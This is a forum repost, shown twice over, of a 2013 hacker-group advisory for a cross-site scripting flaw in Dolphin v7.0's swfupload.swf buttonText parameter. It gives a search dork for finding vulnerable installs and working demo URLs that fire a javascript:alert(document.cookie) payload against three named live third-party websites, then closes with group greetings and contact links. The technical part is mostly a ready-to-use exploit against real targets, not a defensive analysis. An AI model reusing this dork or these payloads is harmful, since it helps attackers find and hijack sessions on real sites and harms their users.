حامد کیانمهر
1st April 2013, 02:40
Dolphin v7.0 Cross Site Scripting Vulnerability
# Title : Dolphin v7.0 Cross Site Scripting Vulnerability
# Date: 2013-03-15
# Software Link: Source Code: Dolphin v7.0 (http://www.codeweblog.com/source/dolphin/nav.html?plugins/swfupload/swf/swfupload.js.source.html)
# Credit: This Bug was founded by Asesino04 "The Black Devils"
# Tested on: Windows XP SP2
# Category: [webapps]
# Dork : inurl:plugins/swfupload/swf/
# Special Thanks To : sH3LL05Dz & Lady NEXA & x3o-1337
# Please Like The New Fb page : https://fb.com/Th3.Black.D3Vils
-----------
404 Not Found (http://127.0.0.1/path/plugins/swfupload/swf/swfupload.swf?buttonText=)[ XSS ]
# Demo :
http://www.gadgetcore.co.uk/CommunityCloud/plugins/swfupload/swf/swfupload.swf?buttonText=%3Ca%20href=%27javascript :alert%28document.cookie%29%27%3EClick%20me%3C/a%3E (http://www.gadgetcore.co.uk/CommunityCloud/plugins/swfupload/swf/swfupload.swf?buttonText=%3Ca%20href=%27javascript %3Cstrong%3E%3C/strong%3E:alert%28document.cookie%29%27%3EClick%20 me%3C/a%3E)
https://www.healthyride.com/c/plugins/swfupload/swf/swfupload.swf?buttonText=%3Ca%20href=%27javascript :alert%28document.cookie%29%27%3EClick%20me%3C/a%3E (https://www.healthyride.com/c/plugins/swfupload/swf/swfupload.swf?buttonText=%3Ca%20href=%27javascript %3Cstrong%3E%3C/strong%3E:alert%28document.cookie%29%27%3EClick%20 me%3C/a%3E)
http://www.medicina312.kg/plugins/swfupload/swf/swfupload.swf?buttonText=%3Ca%20href=%27javascript :alert%28document.cookie%29%27%3EClick%20me%3C/a%3E (http://www.medicina312.kg/plugins/swfupload/swf/swfupload.swf?buttonText=%3Ca%20href=%27javascript %3Cstrong%3E%3C/strong%3E:alert%28document.cookie%29%27%3EClick%20 me%3C/a%3E)
-----------
Thanks To : | r0073r | KedAns-Dz | D4RKCR1PT3R | Keystr0ke | x3o-1337 | Èlite TrØjan | sH3LL05Dz
| Ana Eve | DZ Combattant | Muhammad Talha Khan | r4dc0re | SeeMe CrosS | Zikou-16 | DaOne
| Angel Injection | NuxbieCyber | Tibit | Sammy FORGIT | D4NB4R beBoss | LORDOFDARKNES
| All Dz hackerz
-----------
Contact:
# Fane Page : www.********.com/Th3.Black.D3Vils (http://www.********.com/Th3.Black.D3Vils)
# Youtube : www.youtube.com/user/Th3BlackDevils (http://www.youtube.com/user/Th3BlackDevils)
# ******** : www.********.com/DevilsDz (http://www.********.com/DevilsDz)
# Email : mr.k4rizma***********
# Title : Dolphin v7.0 Cross Site Scripting Vulnerability
# Date: 2013-03-15
# Software Link: Source Code: Dolphin v7.0 (http://www.codeweblog.com/source/dolphin/nav.html?plugins/swfupload/swf/swfupload.js.source.html)
# Credit: This Bug was founded by Asesino04 "The Black Devils"
# Tested on: Windows XP SP2
# Category: [webapps]
# Dork : inurl:plugins/swfupload/swf/
# Special Thanks To : sH3LL05Dz & Lady NEXA & x3o-1337
# Please Like The New Fb page : https://fb.com/Th3.Black.D3Vils
-----------
404 Not Found (http://127.0.0.1/path/plugins/swfupload/swf/swfupload.swf?buttonText=)[ XSS ]
# Demo :
http://www.gadgetcore.co.uk/CommunityCloud/plugins/swfupload/swf/swfupload.swf?buttonText=%3Ca%20href=%27javascript :alert%28document.cookie%29%27%3EClick%20me%3C/a%3E (http://www.gadgetcore.co.uk/CommunityCloud/plugins/swfupload/swf/swfupload.swf?buttonText=%3Ca%20href=%27javascript %3Cstrong%3E%3C/strong%3E:alert%28document.cookie%29%27%3EClick%20 me%3C/a%3E)
https://www.healthyride.com/c/plugins/swfupload/swf/swfupload.swf?buttonText=%3Ca%20href=%27javascript :alert%28document.cookie%29%27%3EClick%20me%3C/a%3E (https://www.healthyride.com/c/plugins/swfupload/swf/swfupload.swf?buttonText=%3Ca%20href=%27javascript %3Cstrong%3E%3C/strong%3E:alert%28document.cookie%29%27%3EClick%20 me%3C/a%3E)
http://www.medicina312.kg/plugins/swfupload/swf/swfupload.swf?buttonText=%3Ca%20href=%27javascript :alert%28document.cookie%29%27%3EClick%20me%3C/a%3E (http://www.medicina312.kg/plugins/swfupload/swf/swfupload.swf?buttonText=%3Ca%20href=%27javascript %3Cstrong%3E%3C/strong%3E:alert%28document.cookie%29%27%3EClick%20 me%3C/a%3E)
-----------
Thanks To : | r0073r | KedAns-Dz | D4RKCR1PT3R | Keystr0ke | x3o-1337 | Èlite TrØjan | sH3LL05Dz
| Ana Eve | DZ Combattant | Muhammad Talha Khan | r4dc0re | SeeMe CrosS | Zikou-16 | DaOne
| Angel Injection | NuxbieCyber | Tibit | Sammy FORGIT | D4NB4R beBoss | LORDOFDARKNES
| All Dz hackerz
-----------
Contact:
# Fane Page : www.********.com/Th3.Black.D3Vils (http://www.********.com/Th3.Black.D3Vils)
# Youtube : www.youtube.com/user/Th3BlackDevils (http://www.youtube.com/user/Th3BlackDevils)
# ******** : www.********.com/DevilsDz (http://www.********.com/DevilsDz)
# Email : mr.k4rizma***********